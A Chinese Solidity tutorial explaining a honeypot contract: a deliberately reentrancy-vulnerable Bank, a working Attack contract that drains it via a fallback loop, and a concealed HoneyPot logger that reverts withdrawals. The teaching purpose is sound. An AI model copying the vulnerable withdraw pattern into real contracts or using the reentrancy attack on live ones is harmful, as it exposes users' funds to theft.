3分钟Solidity: 11.10 蜜罐

欢迎订阅专栏3分钟Solidity--智能合约--Web3区块链技术必学

如需获取本内容的最新版本,请参见 Cyfrin.io 上的Honeypot(代码示例)

蜜罐是一种用于诱捕黑客的陷阱。

漏洞

通过结合重入攻击和隐藏恶意代码这两种漏洞利用方式,我们可以构建一个能捕获恶意用户的合约。

scss 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
银行是一个调用Logger来记录事件的合约。
Bank.withdraw()函数容易受到重入攻击。
因此,黑客试图从银行中耗尽以太币。
但实际上,这个重入漏洞是给黑客设下的诱饵。
通过部署用HoneyPot替代Logger的Bank合约,这个合约就变成了
黑客的陷阱。让我们看看它是如何运作的。

1.  爱丽丝部署了蜜罐
2.  爱丽丝部署了银行合约,地址指向蜜罐
3.  爱丽丝向银行存入1个以太币
4.  伊芙发现银行合约的withdraw函数存在重入漏洞,决定发起攻击
5.  伊芙部署攻击合约,地址指向银行
6.  伊芙调用Attack.attack()并转入1个以太币,但交易失败

发生了什么?
伊芙调用Attack.attack()后,开始从银行合约提取以太币
当最后一次Bank.withdraw()即将完成时,它调用了logger.log()
Logger.log()调用了HoneyPot.log()并回滚了交易,导致交易失败
*/

contract Bank {
    mapping(address => uint256) public balances;
    Logger logger;

    constructor(Logger _logger) {
        logger = Logger(_logger);
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        logger.log(msg.sender, msg.value, "Deposit");
    }

    function withdraw(uint256 _amount) public {
        require(_amount <= balances[msg.sender], "Insufficient funds");

        (bool sent,) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] -= _amount;

        logger.log(msg.sender, _amount, "Withdraw");
    }
}

contract Logger {
    event Log(address caller, uint256 amount, string action);

    function log(address _caller, uint256 _amount, string memory _action)
        public
    {
        emit Log(_caller, _amount, _action);
    }
}

// 黑客试图通过重入攻击耗尽银行中存储的以太币。
contract Attack {
    Bank bank;

    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
    }

    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

// 假设这段代码放在一个单独的文件中,这样其他人就无法读取它了。
contract HoneyPot {
    function log(address _caller, uint256 _amount, string memory _action)
        public
    {
        if (equal(_action, "Withdraw")) {
            revert("It's a trap");
        }
    }

    // 使用keccak256比较字符串的函数
    function equal(string memory _a, string memory _b)
        public
        pure
        returns (bool)
    {
        return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
    }
}

Try on Remix试用混音版

相关推荐
devmoon17 小时前
使用 Hardhat 在 Polkadot Hub 测试网部署基础 Solidity 合约(完整实战指南)
web3·区块链·智能合约·波卡·hardhat
devmoon1 天前
快速了解兼容 Ethereum 的 JSON-RPC 接口
开发语言·网络·rpc·json·区块链·智能合约·polkadot
devmoon1 天前
用Remix IDE在Polkadot Hub部署一个最基础的Solidity 合约(新手友好)
web3·区块链·智能合约·编译·remix·polkadot
暴躁小师兄数据学院1 天前
【WEB3.0零基础转行笔记】Golang编程篇-第4讲:Go语言中的流程控制
开发语言·后端·golang·web3·区块链
devmoon1 天前
使用 Remix IDE 在 Polkadot Hub 测试网部署 ERC-20 代币(新手完整实战教程)
web3·区块链·智能合约·solidity·remix·polkadot·erc-20
devmoon2 天前
智能合约实战 - 水龙头哪里领和创建第一个智能合约地址
web3·区块链·测试用例·智能合约·solidity
Mr.朱鹏2 天前
预测-下一个互联网风口?【PolyMarket调研】
web3·区块链·互联网·预测·加密货币·polymartet·风口
暴躁小师兄数据学院2 天前
【WEB3.0零基础转行笔记】基础知识篇-第二讲:以太坊基础
笔记·web3·区块链
devmoon2 天前
30秒一键连接Polkadot区块链网络和测试网
网络·web3·区块链·智能合约·polkadot
devmoon2 天前
选择基于rust的以太坊虚拟机,还是基于RISC-V的虚拟机?一文了解他们的部署差异和部署机制
web3·区块链·智能合约·solidity·polkadot